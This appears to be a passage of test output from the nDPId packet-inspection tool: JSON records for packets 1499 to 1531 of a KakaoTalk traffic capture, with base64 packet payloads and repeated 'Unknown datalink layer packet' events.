+00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1499,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":741584,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLOCGAbDKzfq6Lw1SapdoQTgc1n2ANa85lgYM\/+6rxbkaYcf6tGsSUGuD2cCoL6dY8TaxZovM37xJdEvtGsCswwnX1sTtc"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1499,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1500,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":751319,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABKKQ2AbDJ6fq22A1Sapdp\/DCTEPCf\/N1hgwCb3tQIThZSRzoh8DKyQL5ocmG3jR1MPhcTRcTHlKeE7sTenNRdSdirends="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1500,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1501,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":782141,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBIkM6AbDK0fq6Pg1SapdpmKLFGlUV4GcJXkhFXpepo4U3td8qd0AOORR0XHV93fXENEIzzZDx0WqhKoffS88xUU9TE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1501,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00569{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1502,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":799353,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALEAAEAAHBH9yQHJAa4KGFK8WgYoHACdEA6AbE\/0iz5UWguGVRmgmXijIdEOGWIVTJsedrrSqQ1xMlP1HJqWnDa\/ghkAOGtsGZ1DpopSBFJqbyh9mZRYOMQGpqc1EmSQN2uyVoFLBD0u\/eURVyE0dkqX2JYkLtxlTTY33Cq24TRRip5QOYZriFCylanlAFpiRoIuZjgFc2y+3\/OyjAeazR6WTWenZMvUE\/aEYCD6Xw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1502,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1503,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":810218,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABG\/a+AbFAuiz8t2guGVRl6EHvfJoNYZjC\/pP8jXH4R\/JL6dJCVp6oOTqCPWNojn+WAipgxugdCfmGOTOb4pPOogQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1503,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1504,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":810401,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABMRdOAbFAviz8xmguGVRkkm3h4Ce0Leg45Duu8DiTR0nyZnhzwPszxczvA5R1ageNiw85tpStP661zv0XZu4k54N8xPtkG2w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1504,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1505,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":851416,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABIP++AbDJ7fq25w1SapdosyfJA+VF+Z8VmQfJiE5WCvyP581JQbgoO5QVCko4mOBT5AQwdSpVcWhRjKAYaZvexEnL6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1505,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1506,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":861304,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLRAKAbDK1fq6TQ1SapdrGbO6v+BeE88JCwnu9v\/r5myMXg1QMBI25ncVSqKhbQPAT+NiiP+qNtWeTU91VbluPqf5L0Iiz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1506,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1507,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":908454,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJMAAEAAPxHbDwoYUrwByQGuLDhaBAB\/m0SAbFAwiz81WguGVRnnZyujB1X0irfLFTc7qGIoduNShF7gZdwzqr49quYsBtcfCDZBXSOg4IlkavIHTrhsGRPc3aoOgl4tvfYzkOWXU9\/ZbOM+pgIg1g6IqahrBHPYA4DvfWXRJPjXeOlhKfbxKAJqpSAmQ50fHA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1507,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1508,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":911444,"pkt_caplen":190,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":190,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK4AAEAAHBH9zAHJAa4KGFK8WgYoHACaDI6AbE\/1iz5YGguGVRneUYu5ONiFGl86I3iDKkIS5X6\/uCnWX0\/KnSBtig4XdP95p1G+n6Oh07lf\/NHBfVwCC\/9nCgChN2\/BwCYBd2Wy02R7aeHiaM96r+ikleuIuEBEySv31LhxOnVaujnlQH1ToO+X35rLhtFOdG\/UqNyny7ufC+k72+eMAA70PpRNDrU1XGrOoQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1508,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1509,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":923194,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFYAAEAAQBHaTAoYUrwByQGuKBxaBgBCd9+AbDK2fq6XA1SapdqXynlTgmDiPDXmGD6mcA3sBc23HKs0aZ+WQVGQC+JJ1smSqSStx90+g0AT3sVy"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1509,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1510,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":952552,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgcoHQBqeziByAAMC4ZVGYPBykZo98GjW7rSje0MC\/FhIPRFNwClmIb9SGUZgNWOTNyayh3yccRe6e23Me\/3Lybtb9K3v7dyVC\/mDym9bajjfD19bHFV97QkQZaAAAAGt3WpIYgG7Bo8Eg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1510,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00594{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1511,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":992163,"pkt_caplen":213,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":213,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMUAAEAAHBH9tQHJAa4KGFK8WgYoHACxhdeAbE\/2iz5b2guGVRkOWZvScrlI6nPlVXKT7aA3M8UM\/EbsHDuTkchG\/q6kPxmVH1INnEAuQKVowDDJJJnpNisX5fZ\/MEJS\/j7+WwkjR5sCSZKfjE2ZXSa6fOaLijaeN7fQZYu0qemkMtNGgIDXsRWUnP8n64AjoJa6yobfu4kTZaQCZoPtkgt6yn\/6Jhv3k5hOL2fmuI8k2uJbcabSdXvP6U9T47UMqC5o"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1511,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1512,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":998725,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/u8SAbDK3fq6aw1SapdoTIjHTIi\/tZoIqe73BieAZaGDbvnf6azxV8ioqyw1M0qbcxCHaGaY8oHRb"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1512,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1513,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":999366,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGLVOAbDJ8fq29g1SapdpWraRrbGW16m0sx3XUNzDyHY+o0bcWRq7WcVEUeNsxeajqkkpNk38YqLVHMokfonfxYg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1513,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1514,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":9955,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKAkKAbFAxiz85GguGVRnWXoiOF6W4zmgxC0waZ\/ZydKW8rVpOVeKX3rie44fo2exJm\/XcNB4j2wevxV52lbXXUQxgiZs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1514,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00539{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1515,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":10108,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKEAAEAAPxHbAQoYUrwByQGuLDhaBACNmy2AbFAyiz882guGVRn0wdHL2WofNKZck0hqpP2heiVEzBfKrOTi4UrZzOf+4v5bZjb2TeRn4Hz3eoi8VuxzQc+tsWcVt9y2MpFffxpdW5A6GEJF1Ks9nY+4K1GysYra8Mu9DFFHJhqiUDglXiOdkdKyAVLy8ClVTnvcKsP6tVJ7CTlXsptC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1515,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1516,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":10199,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEhoKAbDJ9fq3BQ1Sapdp0U\/gjCLz6yE2GRRXXmYq76a6dPW6axwBN3BBo6SGS++swHA4qVeYffPd5BTQnZ10="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1516,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1517,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":43402,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKkAAEAAHBH90QHJAa4KGFK8WgYoHACVIIKAbE\/3iz5fmguGVRnkAFYL8q57TZfgAsET6IY8CF02OIIOntzQ37d4Y6X3vInE1Hg4pPsEGDSX9vJXgyUGe6bUuZG1lukb8oBR2s0DI848EGeil\/8vLlRxWcu3waq4W1D4\/plAvVqjQ2c8qCc0kUxPyO97gJLuIOsZfLHn\/tPJP4lZjqqLPW8Ok5CJ8bg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1517,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1518,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":71479,"pkt_caplen":198,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":198,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALYAAEAAHBH9xAHJAa4KGFK8WgYoHACiWbqAbE\/4iz5jWguGVRlHPU07jfCRfwm9bN\/lmsmwOJ+HDgEcqPfblhdDGwAG86T0w93Cf0Eqtgiy07knU\/46IAMsPreiwl0n3YpeKmeoCT8xOgcA+\/stSBgLnhDRc5RsLGVFdBJMZOFtLaBeeG0NUZ0+\/YNonbX1Uu7wsCKbeD8cWSWgoaqF5hAG++TjVbrbFdoTVRMaElHdG26E"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1518,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1519,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":74958,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/wMqAbDK4fq6eg1SapdoouyzgqV4WTLaA3wRh6VC6hBLMRajal+qvpQXbKrGHZsTiDErzGwZ00Img"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1519,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1520,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":79322,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGEiqAbDJ+fq3FA1SapdoAIsVi2hKQA9SE8jrqe7zIrpVS2NekprjjDWvw2MC1+I0z7GlEtBJs4LpAPZiZuo\/VnQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1520,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1521,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":87378,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABKp7qAbDJ\/fq3Iw1SapdpWAOYL2u5JMEFNRAQi0JoRT6gL\/xa3eEHgnksS\/XE6tgqou345vnEqFRucQkC03mqECjrjivQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1521,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00589{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1522,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":111701,"pkt_caplen":211,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":211,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMMAAEAAPxHa3woYUrwByQGuLDhaBACvaUmAbFAziz9AmguGVRlgC3S8plQmnkoIwlFdEcyzQWfX1RKU9OmwrrhmVLHY6VsZY25oBXLasT+ZhtPWYFcmkWYl0SnOSIbJqLBVVC06sLCCGlIVgQsyWoFIWjKJJsqhCJkyiSKK40sJG+z1IH+sRapD1dOVmhhq2tJ+ccPlF8c85GGhZWkupdlcy2ebBm8\/5ny+5yHaAoLJtATTGS2ZcwkxSZ25rappeg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1522,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1523,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":113288,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKwAAEAAPxHa9goYUrwByQGuLDhaBACY9jqAbFA0iz9EWguGVRn58EyH\/hlmoFiXaB4eO2YWxYJ2csPtwYt2cY6\/MqcyBWD0SCzIhR7vdH+P0ZM8E59OIvcauIrWQzNopcy40+NtemXbBzgypF7gYRjnpDKdQB1TZ7WrpD5k9ym\/osEuTQcuZvVtt00LxjhTQCIXnGRIpI\/YZKRwzegVyRBpUjtAWgznT0o="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1523,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1524,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":117621,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ePuAbDK5fq6iQ1SapdqjVx5HDnr\/wlUajASwbtj3ZH6imRw0npxGqDRUJewstHmTn+2bSf1ixmWT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1524,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1525,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":127906,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALUAAEAAHBH9xQHJAa4KGFK8WgYoHACh1mSAbE\/5iz5nGguGVRlSipNIGitoucF83uat8UHmD3fb5sOH2bAtWCBd2ClceE8TXQjqTQu8FaIsbOWJ6iREsdONWeKrlKdTsDUhf77o+YprTaQTlla+NpOxPtUmSeTuUe0fe+djrTMIhTdRZ0clmxhNDe63pgW0eondUBDZeAAza\/dRyagKn+WsZBcRHPKgkk1kMnW+HlRjvQg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1525,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1526,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":147650,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABIdCCAbDKAfq3Mg1SapdqT3oPhXpCztJD0vjDvHjssuqgJZWQBD0PyMGluix95k6iMFWHzz9PW+33vIXGCBcv6bo8Y"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1526,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1527,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":159400,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMAAAEAAHBH9ugHJAa4KGFK8WgYoHACsnA+AbE\/6iz5q2guGVRngFwDk+wG0BYke1feGeCe0gwrGzBNJ1IOmvwmMXNpGRbD22w8iHJzT8KIHK0SQkGv2yhw4OEUHkwL4oEIA12T12PHToZ0ZSTTiG3SxbVPqMv31orP82ExRuPmMxGn4md5c7LqBad5YKAaeTsy5NHRb2gHiYFYnxoGvb5hCjLRkKepkaAN\/I1HTpQAZoIbeUvDzVph8rnjqPA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1527,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1528,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":161719,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/wMyAbDK6fq6mA1SapdrYQ2POXR6F5NARaMsShIbEhst2EGZ6f6NvX2VgPhd6lZ7cBzWez1eRxNPH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1528,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00539{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1529,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":191382,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJwAAEAAHBH93gHJAa4KGFK8WgYoHACItjiAbE\/7iz5umguGVRlny3gzm1sZdEhNguRsdtH15nzPfFLaFd403LMcWzSNC83QdkVBj1KpAgot+8uL78utD3yCaRDQ+l7glPcW8X2qTW1X1BoiswdrlrccGdtqk1kQy7TKb9\/x2VG9Og\/fPvK2SlFwaDSFwlWeD3isS3CxlUojIg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1529,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1530,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":199347,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHRH9HwHJAa4KGFK8WgQsOABHomSAbDKBfq3QQ1SapdpqqKZm1n1AYSlOHrpYfL4Ni5g0JxXiSMPgmpo1lZjgyDXVHAk+cptrc1j5X6yAdOLkMEY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1530,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1531,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":208228,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALMAAEAAPxHa7woYUrwByQGuLDhaBACfAROAbFA1iz9IGguGVRnZbkKK2WQmqtoGnJxj3jeM0o4TWcl0mnXxUUDGY0jL+de4ulFXDNS5yFXecEY1RmPE252Yq86nrv9\/xCyf3r+DinZjhsZ43u1tGnXj1EtpEFTQvVbD7NaLJ8YtU4X5blhzHQNIA8EKS44KNshZ0xo6qXYFm5EqD14L3HZq+jpGakHZ85zW\/\/83ibhg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 